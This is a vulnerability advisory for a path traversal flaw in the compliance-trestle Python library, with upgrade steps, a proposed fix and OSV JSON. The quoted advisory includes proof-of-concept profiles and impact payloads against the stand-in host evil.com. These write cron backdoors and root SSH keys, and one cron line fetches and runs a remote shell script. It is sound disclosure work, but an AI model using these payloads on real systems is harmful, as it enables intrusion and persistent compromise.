CVE-2026-45725: Compliance trestle Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-g3vg-vx23-3858
CWE-73
Published
Advisory Summary

CVE-2026-45725 is a HIGH path traversal vulnerability (CWE-73: External Control of File Name or Path) affecting Compliance trestle libraries in the PyPI ecosystem. The issue involves compliance-trestle remote fetching mechanism has an arbitrary file write via cache path traversal. Remediation is available by upgrading affected packages to version 4.0.3, 3.12.2.

CVE-2026-45725 at a Glance

CVE Identifier CVE-2026-45725
GHSA Identifier GHSA-g3vg-vx23-3858
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Compliance trestle
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-45725

To remediate this vulnerability, upgrade all affected Compliance trestle dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

compliance-trestle fixed: 4.0.3
pip install compliance-trestle>=4.0.3
compliance-trestle fixed: 3.12.2
pip install compliance-trestle>=3.12.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show compliance-trestle

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-45725, inspect your installed packages using pip:

pip show compliance-trestle

Analyze the terminal output to locate any version of Compliance trestle in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.0.3), your application is affected.

Note: The pip show compliance-trestle command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Compliance trestle, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (`../`). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location **outside the intended cache directory**, enabling **arbitrary file write with attacker-controlled content** to the filesystem. **Attack chain:** Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.) ## Affected Component **Repository:** https://github.com/IBM/compliance-trestle **File:** `trestle/core/remote/cache.py` (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher) **Version:** v4.0.2 (latest as of 2026-04-30) ## Vulnerable Code ### cache.py:259-266 — HTTPSFetcher cache path construction ```python class HTTPSFetcher(FetcherBase): def __init__(self, trestle_root: pathlib.Path, uri: str) -> None: # ... u = parse.urlparse(self._uri) # ... if u.hostname is None: raise TrestleError(f'Cache request for {self._uri} requires hostname') https_cached_dir = self._trestle_cache_path / u.hostname # ❌ path_parent preserves ../ sequences from URL path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent https_cached_dir = https_cached_dir / path_parent https_cached_dir.mkdir(parents=True, exist_ok=True) # ❌ Creates dirs outside cache self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name) ``` ### cache.py:285-295 — Content written to traversed path ```python def _do_fetch(self) -> None: # ... response = requests.get(self._url, auth=auth, verify=verify, timeout=30) if response.status_code == 200: result = response.text # ❌ Attacker-controlled content self._cached_object_path.write_text(result) # ❌ Written to arbitrary path ``` ### cache.py:328-333 — SFTPFetcher (identical pattern) ```python class SFTPFetcher(FetcherBase): def __init__(self, ...): # Identical path construction — same vulnerability sftp_cached_dir = self._trestle_cache_path / u.hostname path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent sftp_cached_dir = sftp_cached_dir / path_parent sftp_cached_dir.mkdir(parents=True, exist_ok=True) self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name) ``` **Root Cause:** 1. `urlparse("https://evil.com/../../../tmp/pwned.json").path` = `/../../../tmp/pwned.json` — preserves `../` 2. `pathlib.Path(u.path).parent` preserves traversal sequences 3. `cache_dir / hostname / "../../../../../../tmp"` resolves outside cache 4. `mkdir(parents=True, exist_ok=True)` creates intermediate directories 5. `write_text(response.text)` writes attacker-controlled content to traversed path 6. **No `is_relative_to()` boundary check** on the resolved path ## Steps to Reproduce ### Prerequisites ```bash pip install compliance-trestle==4.0.2 ``` ### PoC: Malicious OSCAL Profile ```yaml # malicious_profile.yaml — arbitrary file write via cache traversal profile: uuid: "550e8400-e29b-41d4-a716-446655440000" metadata: title: "Malicious Profile" version: "1.0" last-modified: "2024-01-01T00:00:00+00:00" oscal-version: "1.0.4" imports: - href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json" ``` ### PoC: Cache Path Traversal Simulation ```python #!/usr/bin/env python3 """PoC: Cache path traversal → arbitrary file write""" import os, re, tempfile, shutil from pathlib import Path from urllib.parse import urlparse # Simulate trestle cache behavior (cache.py:259-266) trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_")) cache_dir = trestle_root / ".trestle" / ".cache" cache_dir.mkdir(parents=True, exist_ok=True) evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json" u = urlparse(evil_url) # Exact trestle code path cached_dir = cache_dir / u.hostname m = re.search(r'[^/\\\\]', u.path) path_parent = Path(u.path[m.span()[0]:]).parent cached_dir = cached_dir / path_parent cached_dir.mkdir(parents=True, exist_ok=True) cached_file = cached_dir / Path(Path(u.path).name) print(f"Cache dir: {cache_dir}") print(f"Resolved write target: {cached_file.resolve()}") # Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory! # Write attacker content attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"' cached_file.write_text(attacker_payload) print(f"Written: {cached_file.resolve().read_text()}") # Cleanup os.remove(str(cached_file.resolve())) shutil.rmtree(str(trestle_root)) ``` **Expected:** Write confined to `.trestle/.cache/` directory **Actual:** File written to `/tmp/trestle_pwned.json` (arbitrary filesystem location) ## Remediation ### Fix for HTTPSFetcher (cache.py:259-266): ```python class HTTPSFetcher(FetcherBase): def __init__(self, trestle_root: pathlib.Path, uri: str) -> None: # ... u = parse.urlparse(self._uri) https_cached_dir = self._trestle_cache_path / u.hostname # ✅ Sanitize path: remove traversal sequences safe_path = pathlib.PurePosixPath(u.path).parts safe_path = [p for p in safe_path if p != '..' and p != '/'] path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.') https_cached_dir = https_cached_dir / path_parent https_cached_dir.mkdir(parents=True, exist_ok=True) self._cached_object_path = https_cached_dir / safe_path[-1] # ✅ Boundary check if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()): raise TrestleError( f"Cache path traversal blocked: URL '{uri}' resolves to " f"'{self._cached_object_path.resolve()}' outside cache directory" ) ``` Same fix required for SFTPFetcher at lines 328-333. ## References - **CWE-22:** https://cwe.mitre.org/data/definitions/22.html - **CWE-73:** https://cwe.mitre.org/data/definitions/73.html - **compliance-trestle:** https://github.com/IBM/compliance-trestle ## Impact ### 1. Cron Job Injection → Remote Code Execution ```yaml # Profile that writes a cron job imports: - href: "https://evil.com/../../../../../../../etc/cron.d/backdoor" ``` Attacker's server responds with: ``` * * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash' ``` ### 2. SSH Authorized Keys Injection ```yaml imports: - href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys" ``` Attacker's server responds with their SSH public key. ### 3. Config File Overwrite ```yaml imports: - href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf" ``` ### 4. Python Path Hijacking Write malicious `.py` file to a location on `sys.path` for code execution on next import.

CVE-2026-45725 Affected Compliance trestle Versions

2 component(s)
Fixed Versions:
4.0.33.12.2
Product / Package Ecosystem Affected Versions Fixed Version
compliance-trestle
PyPI
≥ 4.0.0
< 4.0.3
4.0.3
compliance-trestle
PyPI
< 3.12.2
3.12.2

References

Frequently Asked Questions

What is CVE-2026-45725?
CVE-2026-45725 is a security vulnerability in Compliance trestle involving compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal under CWE-73: External Control of File Name or Path.
Which Compliance trestle versions are affected?
Affected versions include releases prior to 4.0.3, 3.12.2 across affected packages: compliance-trestle.
What version fixes CVE-2026-45725?
Upgrading to 4.0.3, 3.12.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is compliance-trestle affected?
Yes, compliance-trestle is affected in releases prior to 4.0.3, 3.12.2. Upgrade your dependency to 4.0.3, 3.12.2 or later.
What CWE is associated with CVE-2026-45725?
CVE-2026-45725 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check PyPI dependencies for CVE-2026-45725?
Run the dependency tree command: 'pip show compliance-trestle'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g3vg-vx23-3858",
  "modified" : "2026-05-27T22:57:38Z",
  "published" : "2026-05-27T22:57:37Z",
  "aliases" : [ "CVE-2026-45725" ],
  "summary" : "compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal",
  "details" : "## Summary\n\nThe compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (`../`). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location **outside the intended cache directory**, enabling **arbitrary file write with attacker-controlled content** to the filesystem.\n\n**Attack chain:** Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)\n\n## Affected Component\n\n**Repository:** https://github.com/IBM/compliance-trestle\n**File:** `trestle/core/remote/cache.py` (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher)\n**Version:** v4.0.2 (latest as of 2026-04-30)\n## Vulnerable Code\n\n### cache.py:259-266 — HTTPSFetcher cache path construction\n\n```python\nclass HTTPSFetcher(FetcherBase):\n    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:\n        # ...\n        u = parse.urlparse(self._uri)\n        # ...\n        if u.hostname is None:\n            raise TrestleError(f'Cache request for {self._uri} requires hostname')\n        https_cached_dir = self._trestle_cache_path / u.hostname\n        # ❌ path_parent preserves ../ sequences from URL\n        path_parent = pathlib.Path(u.path[re.search('[^/\\\\\\\\]', u.path).span()[0] :]).parent\n        https_cached_dir = https_cached_dir / path_parent\n        https_cached_dir.mkdir(parents=True, exist_ok=True)  # ❌ Creates dirs outside cache\n        self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)\n```\n\n### cache.py:285-295 — Content written to traversed path\n\n```python\n    def _do_fetch(self) -> None:\n        # ...\n        response = requests.get(self._url, auth=auth, verify=verify, timeout=30)\n        if response.status_code == 200:\n            result = response.text  # ❌ Attacker-controlled content\n            self._cached_object_path.write_text(result)  # ❌ Written to arbitrary path\n```\n\n### cache.py:328-333 — SFTPFetcher (identical pattern)\n\n```python\nclass SFTPFetcher(FetcherBase):\n    def __init__(self, ...):\n        # Identical path construction — same vulnerability\n        sftp_cached_dir = self._trestle_cache_path / u.hostname\n        path_parent = pathlib.Path(u.path[re.search('[^/\\\\\\\\]', u.path).span()[0] :]).parent\n        sftp_cached_dir = sftp_cached_dir / path_parent\n        sftp_cached_dir.mkdir(parents=True, exist_ok=True)\n        self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)\n```\n\n**Root Cause:**\n1. `urlparse(\"https://evil.com/../../../tmp/pwned.json\").path` = `/../../../tmp/pwned.json` — preserves `../`\n2. `pathlib.Path(u.path).parent` preserves traversal sequences\n3. `cache_dir / hostname / \"../../../../../../tmp\"` resolves outside cache\n4. `mkdir(parents=True, exist_ok=True)` creates intermediate directories\n5. `write_text(response.text)` writes attacker-controlled content to traversed path\n6. **No `is_relative_to()` boundary check** on the resolved path\n\n\n## Steps to Reproduce\n\n### Prerequisites\n\n```bash\npip install compliance-trestle==4.0.2\n```\n\n### PoC: Malicious OSCAL Profile\n\n```yaml\n# malicious_profile.yaml — arbitrary file write via cache traversal\nprofile:\n  uuid: \"550e8400-e29b-41d4-a716-446655440000\"\n  metadata:\n    title: \"Malicious Profile\"\n    version: \"1.0\"\n    last-modified: \"2024-01-01T00:00:00+00:00\"\n    oscal-version: \"1.0.4\"\n  imports:\n    - href: \"https://evil.com/../../../../../../../tmp/trestle_pwned.json\"\n```\n\n### PoC: Cache Path Traversal Simulation\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Cache path traversal → arbitrary file write\"\"\"\nimport os, re, tempfile, shutil\nfrom pathlib import Path\nfrom urllib.parse import urlparse\n\n# Simulate trestle cache behavior (cache.py:259-266)\ntrestle_root = Path(tempfile.mkdtemp(prefix=\"trestle_poc_\"))\ncache_dir = trestle_root / \".trestle\" / \".cache\"\ncache_dir.mkdir(parents=True, exist_ok=True)\n\nevil_url = \"https://evil.com/../../../../../../../tmp/trestle_pwned.json\"\nu = urlparse(evil_url)\n\n# Exact trestle code path\ncached_dir = cache_dir / u.hostname\nm = re.search(r'[^/\\\\\\\\]', u.path)\npath_parent = Path(u.path[m.span()[0]:]).parent\ncached_dir = cached_dir / path_parent\ncached_dir.mkdir(parents=True, exist_ok=True)\ncached_file = cached_dir / Path(Path(u.path).name)\n\nprint(f\"Cache dir: {cache_dir}\")\nprint(f\"Resolved write target: {cached_file.resolve()}\")\n# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!\n\n# Write attacker content\nattacker_payload = '*/5 * * * * root /bin/bash -c \"id > /tmp/rce_proof\"'\ncached_file.write_text(attacker_payload)\nprint(f\"Written: {cached_file.resolve().read_text()}\")\n\n# Cleanup\nos.remove(str(cached_file.resolve()))\nshutil.rmtree(str(trestle_root))\n```\n\n**Expected:** Write confined to `.trestle/.cache/` directory\n**Actual:** File written to `/tmp/trestle_pwned.json` (arbitrary filesystem location)\n\n\n## Remediation\n\n### Fix for HTTPSFetcher (cache.py:259-266):\n\n```python\nclass HTTPSFetcher(FetcherBase):\n    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:\n        # ...\n        u = parse.urlparse(self._uri)\n        https_cached_dir = self._trestle_cache_path / u.hostname\n\n        # ✅ Sanitize path: remove traversal sequences\n        safe_path = pathlib.PurePosixPath(u.path).parts\n        safe_path = [p for p in safe_path if p != '..' and p != '/']\n        path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')\n\n        https_cached_dir = https_cached_dir / path_parent\n        https_cached_dir.mkdir(parents=True, exist_ok=True)\n        self._cached_object_path = https_cached_dir / safe_path[-1]\n\n        # ✅ Boundary check\n        if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):\n            raise TrestleError(\n                f\"Cache path traversal blocked: URL '{uri}' resolves to \"\n                f\"'{self._cached_object_path.resolve()}' outside cache directory\"\n            )\n```\n\nSame fix required for SFTPFetcher at lines 328-333.\n\n## References\n\n- **CWE-22:** https://cwe.mitre.org/data/definitions/22.html\n- **CWE-73:** https://cwe.mitre.org/data/definitions/73.html\n- **compliance-trestle:** https://github.com/IBM/compliance-trestle\n\n## Impact\n\n### 1. Cron Job Injection → Remote Code Execution\n\n```yaml\n# Profile that writes a cron job\nimports:\n  - href: \"https://evil.com/../../../../../../../etc/cron.d/backdoor\"\n```\n\nAttacker's server responds with:\n```\n* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'\n```\n\n### 2. SSH Authorized Keys Injection\n\n```yaml\nimports:\n  - href: \"https://evil.com/../../../../../../../root/.ssh/authorized_keys\"\n```\n\nAttacker's server responds with their SSH public key.\n\n### 3. Config File Overwrite\n\n```yaml\nimports:\n  - href: \"https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf\"\n```\n\n### 4. Python Path Hijacking\n\nWrite malicious `.py` file to a location on `sys.path` for code execution on next import.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "compliance-trestle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.0.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.0.2"
    }
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "compliance-trestle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.12.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-g3vg-vx23-3858"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oscal-compass/compliance-trestle/commit/89f4e53d159e8ff901da4d7c3b51c9556bd32ec0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oscal-compass/compliance-trestle/commit/9abc492329fcc8d0557182317de9bde854385da3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/oscal-compass/compliance-trestle"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-27T22:57:37Z",
    "nvd_published_at" : null
  }
}